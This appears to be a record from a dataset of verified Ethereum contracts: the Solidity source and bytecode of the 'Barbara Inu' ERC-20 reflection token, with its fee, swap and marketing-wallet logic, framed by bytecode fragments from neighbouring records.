fffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808284019050838110156113eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561146957600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115145750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561152857600754811061152757600080fd5b5b61157a81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60006116fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212200efa56823d59d791ab6de70c6c7cbe30b994beca2a5ba882852cfc6ef004dcea64736f6c634300060a0033
{"success": true, "error": null, "results": {}}
3,006
0x4A86f3C4dee2157AbEfF3561c0aeE846248Fdd4E
/** *Submitted for verification at Etherscan.io on 2021-10-17 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract BarbaraInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redistributionAddress; uint256 private _feeAddr2; address payable private _marketingAddress; string private constant _name = "Barbara Inu"; string private constant _symbol = "BARBARA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 public openTradingTime; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _marketingAddress = payable(0xb556F3C9acA444F5Bd7774294b947Fa3312cCda6); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _redistributionAddress = 3; _feeAddr2 = 7; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { if (block.timestamp < openTradingTime + 15 minutes) { require(amount <= _maxTxAmount); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); openTradingTime = block.timestamp; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistributionAddress, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461030a578063a9059cbb14610335578063c3c8cd8014610372578063c9567bf914610389578063dd62ed3e146103a057610109565b80636fc3eaec1461027457806370a082311461028b578063715018a6146102c85780638da5cb5b146102df57610109565b80632ab30838116100d15780632ab30838146101de578063313ce567146101f5578063325b3b18146102205780635932ead11461024b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103dd565b604051610130919061242e565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612037565b61041a565b60405161016d9190612413565b60405180910390f35b34801561018257600080fd5b5061018b610438565b6040516101989190612550565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190611fe4565b610449565b6040516101d59190612413565b60405180910390f35b3480156101ea57600080fd5b506101f3610522565b005b34801561020157600080fd5b5061020a6105c9565b60405161021791906125c5565b60405180910390f35b34801561022c57600080fd5b506102356105d2565b6040516102429190612550565b60405180910390f35b34801561025757600080fd5b50610272600480360381019061026d9190612077565b6105d8565b005b34801561028057600080fd5b5061028961068a565b005b34801561029757600080fd5b506102b260048036038101906102ad9190611f4a565b6106fc565b6040516102bf9190612550565b60405180910390f35b3480156102d457600080fd5b506102dd61074d565b005b3480156102eb57600080fd5b506102f46108a0565b6040516103019190612345565b60405180910390f35b34801561031657600080fd5b5061031f6108c9565b60405161032c919061242e565b60405180910390f35b34801561034157600080fd5b5061035c60048036038101906103579190612037565b610906565b6040516103699190612413565b60405180910390f35b34801561037e57600080fd5b50610387610924565b005b34801561039557600080fd5b5061039e61099e565b005b3480156103ac57600080fd5b506103c760048036038101906103c29190611fa4565b610f02565b6040516103d49190612550565b60405180910390f35b60606040518060400160405280600b81526020017f4261726261726120496e75000000000000000000000000000000000000000000815250905090565b600061042e610427610f89565b8484610f91565b6001905092915050565b6000683635c9adc5dea00000905090565b600061045684848461115c565b61051784610462610f89565b61051285604051806060016040528060288152602001612b0260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c8610f89565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114509092919063ffffffff16565b610f91565b600190509392505050565b61052a610f89565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ae906124d0565b60405180910390fd5b683635c9adc5dea00000601081905550565b60006009905090565b600f5481565b6105e0610f89565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461066d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610664906124d0565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106cb610f89565b73ffffffffffffffffffffffffffffffffffffffff16146106eb57600080fd5b60004790506106f9816114b4565b50565b6000610746600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611520565b9050919050565b610755610f89565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d9906124d0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4241524241524100000000000000000000000000000000000000000000000000815250905090565b600061091a610913610f89565b848461115c565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610965610f89565b73ffffffffffffffffffffffffffffffffffffffff161461098557600080fd5b6000610990306106fc565b905061099b8161158e565b50565b6109a6610f89565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2a906124d0565b60405180910390fd5b600e60149054906101000a900460ff1615610a83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7a90612530565b60405180910390fd5b42600f819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b1a30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000610f91565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b6057600080fd5b505afa158015610b74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b989190611f77565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bfa57600080fd5b505afa158015610c0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c329190611f77565b6040518363ffffffff1660e01b8152600401610c4f929190612360565b602060405180830381600087803b158015610c6957600080fd5b505af1158015610c7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca19190611f77565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610d2a306106fc565b600080610d356108a0565b426040518863ffffffff1660e01b8152600401610d57969594939291906123b2565b6060604051808303818588803b158015610d7057600080fd5b505af1158015610d84573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610da991906120d1565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550683635c9adc5dea000006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610eac929190612389565b602060405180830381600087803b158015610ec657600080fd5b505af1158015610eda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610efe91906120a4565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611001576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff890612510565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611071576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106890612470565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114f9190612550565b60405180910390a3505050565b6000811161119f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611196906124f0565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111f657600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611440576003600a819055506007600b81905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156112e45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561133a5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156113525750600e60179054906101000a900460ff165b1561137f57610384600f546113679190612635565b42101561137e5760105481111561137d57600080fd5b5b5b600061138a306106fc565b9050600e60159054906101000a900460ff161580156113f75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561140f5750600e60169054906101000a900460ff165b1561143e5761141d8161158e565b6000479050670429d069189e000081111561143c5761143b476114b4565b5b505b505b61144b838383611816565b505050565b6000838311158290611498576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148f919061242e565b60405180910390fd5b50600083856114a79190612716565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561151c573d6000803e3d6000fd5b5050565b6000600854821115611567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155e90612450565b60405180910390fd5b6000611571611826565b9050611586818461185190919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156115c6576115c5612871565b5b6040519080825280602002602001820160405280156115f45781602001602082028036833780820191505090505b509050308160008151811061160c5761160b612842565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156116ae57600080fd5b505afa1580156116c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e69190611f77565b816001815181106116fa576116f9612842565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061176130600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f91565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016117c595949392919061256b565b600060405180830381600087803b1580156117df57600080fd5b505af11580156117f3573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61182183838361189b565b505050565b6000806000611833611a66565b9150915061184a818361185190919063ffffffff16565b9250505090565b600061189383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ac8565b905092915050565b6000806000806000806118ad87611b2b565b95509550955095509550955061190b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bdd90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ec81611c3b565b6119f68483611cf8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a539190612550565b60405180910390a3505050505050505050565b600080600060085490506000683635c9adc5dea000009050611a9c683635c9adc5dea0000060085461185190919063ffffffff16565b821015611abb57600854683635c9adc5dea00000935093505050611ac4565b81819350935050505b9091565b60008083118290611b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b06919061242e565b60405180910390fd5b5060008385611b1e919061268b565b9050809150509392505050565b6000806000806000806000806000611b488a600a54600b54611d32565b9250925092506000611b58611826565b90506000806000611b6b8e878787611dc8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611bd583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611450565b905092915050565b6000808284611bec9190612635565b905083811015611c31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2890612490565b60405180910390fd5b8091505092915050565b6000611c45611826565b90506000611c5c8284611e5190919063ffffffff16565b9050611cb081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bdd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d0d82600854611b9390919063ffffffff16565b600881905550611d2881600954611bdd90919063ffffffff16565b6009819055505050565b600080600080611d5e6064611d50888a611e5190919063ffffffff16565b61185190919063ffffffff16565b90506000611d886064611d7a888b611e5190919063ffffffff16565b61185190919063ffffffff16565b90506000611db182611da3858c611b9390919063ffffffff16565b611b9390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611de18589611e5190919063ffffffff16565b90506000611df88689611e5190919063ffffffff16565b90506000611e0f8789611e5190919063ffffffff16565b90506000611e3882611e2a8587611b9390919063ffffffff16565b611b9390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e645760009050611ec6565b60008284611e7291906126bc565b9050828482611e81919061268b565b14611ec1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eb8906124b0565b60405180910390fd5b809150505b92915050565b600081359050611edb81612abc565b92915050565b600081519050611ef081612abc565b92915050565b600081359050611f0581612ad3565b92915050565b600081519050611f1a81612ad3565b92915050565b600081359050611f2f81612aea565b92915050565b600081519050611f4481612aea565b92915050565b600060208284031215611f6057611f5f6128a0565b5b6000611f6e84828501611ecc565b91505092915050565b600060208284031215611f8d57611f8c6128a0565b5b6000611f9b84828501611ee1565b91505092915050565b60008060408385031215611fbb57611fba6128a0565b5b6000611fc985828601611ecc565b9250506020611fda85828601611ecc565b9150509250929050565b600080600060608486031215611ffd57611ffc6128a0565b5b600061200b86828701611ecc565b935050602061201c86828701611ecc565b925050604061202d86828701611f20565b9150509250925092565b6000806040838503121561204e5761204d6128a0565b5b600061205c85828601611ecc565b925050602061206d85828601611f20565b9150509250929050565b60006020828403121561208d5761208c6128a0565b5b600061209b84828501611ef6565b91505092915050565b6000602082840312156120ba576120b96128a0565b5b60006120c884828501611f0b565b91505092915050565b6000806000606084860312156120ea576120e96128a0565b5b60006120f886828701611f35565b935050602061210986828701611f35565b925050604061211a86828701611f35565b9150509250925092565b6000612130838361213c565b60208301905092915050565b6121458161274a565b82525050565b6121548161274a565b82525050565b6000612165826125f0565b61216f8185612613565b935061217a836125e0565b8060005b838110156121ab5781516121928882612124565b975061219d83612606565b92505060018101905061217e565b5085935050505092915050565b6121c18161275c565b82525050565b6121d08161279f565b82525050565b60006121e1826125fb565b6121eb8185612624565b93506121fb8185602086016127b1565b612204816128a5565b840191505092915050565b600061221c602a83612624565b9150612227826128b6565b604082019050919050565b600061223f602283612624565b915061224a82612905565b604082019050919050565b6000612262601b83612624565b915061226d82612954565b602082019050919050565b6000612285602183612624565b91506122908261297d565b604082019050919050565b60006122a8602083612624565b91506122b3826129cc565b602082019050919050565b60006122cb602983612624565b91506122d6826129f5565b604082019050919050565b60006122ee602483612624565b91506122f982612a44565b604082019050919050565b6000612311601783612624565b915061231c82612a93565b602082019050919050565b61233081612788565b82525050565b61233f81612792565b82525050565b600060208201905061235a600083018461214b565b92915050565b6000604082019050612375600083018561214b565b612382602083018461214b565b9392505050565b600060408201905061239e600083018561214b565b6123ab6020830184612327565b9392505050565b600060c0820190506123c7600083018961214b565b6123d46020830188612327565b6123e160408301876121c7565b6123ee60608301866121c7565b6123fb608083018561214b565b61240860a0830184612327565b979650505050505050565b600060208201905061242860008301846121b8565b92915050565b6000602082019050818103600083015261244881846121d6565b905092915050565b600060208201905081810360008301526124698161220f565b9050919050565b6000602082019050818103600083015261248981612232565b9050919050565b600060208201905081810360008301526124a981612255565b9050919050565b600060208201905081810360008301526124c981612278565b9050919050565b600060208201905081810360008301526124e98161229b565b9050919050565b60006020820190508181036000830152612509816122be565b9050919050565b60006020820190508181036000830152612529816122e1565b9050919050565b6000602082019050818103600083015261254981612304565b9050919050565b60006020820190506125656000830184612327565b92915050565b600060a0820190506125806000830188612327565b61258d60208301876121c7565b818103604083015261259f818661215a565b90506125ae606083018561214b565b6125bb6080830184612327565b9695505050505050565b60006020820190506125da6000830184612336565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061264082612788565b915061264b83612788565b9250827ffffffffffffffffffffff